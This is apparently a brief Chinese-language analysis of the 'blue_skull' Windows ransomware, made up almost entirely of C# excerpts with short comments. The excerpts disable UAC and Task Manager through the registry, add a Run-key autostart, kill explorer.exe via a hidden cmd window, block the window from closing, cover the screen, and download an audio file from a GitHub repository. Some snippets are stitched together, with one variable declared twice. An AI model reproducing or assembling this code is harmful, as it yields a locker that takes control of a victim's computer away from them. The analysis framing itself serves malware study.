blue_skull Windows勒索恶意软件分析

// 禁用UAC
RegistryKey rg = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
rg.SetValue("EnableLUA", 0, RegistryValueKind.DWord);
// 禁用任务管理器
RegistryKey fk = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
fk.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
// 设置自启动
RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
reg.SetValue("blue_skull", Application.ExecutablePath.ToString());

// 杀死explorer.exe
ProcessStartInfo kokot = new ProcessStartInfo();
kokot.FileName = "cmd.exe";
kokot.WindowStyle = ProcessWindowStyle.Hidden;
kokot.Arguments = @"/k taskkill /f /im explorer.exe";
Process.Start(kokot);
// 恢复explorer.exe
ProcessStartInfo kokot = new ProcessStartInfo();
kokot.FileName = "cmd.exe";
kokot.WindowStyle = ProcessWindowStyle.Hidden;
kokot.Arguments = @"/k start explorer.exe";

// 防止关闭
private void blue_skull2_FormClosing(object sender, FormClosingEventArgs e)
{
    e.Cancel = true; 
}
// 全屏透明窗口
this.TransparencyKey = this.BackColor;
this.Width = Screen.PrimaryScreen.Bounds.Width;
this.Height = Screen.PrimaryScreen.Bounds.Height;

// 从GitHub下载音频文件
WebClient webClient = new WebClient();
webClient.DownloadFile("https://github.com/MalwareStudio/norm9/raw/master/norm9.wav", @"C:\norm9.wav");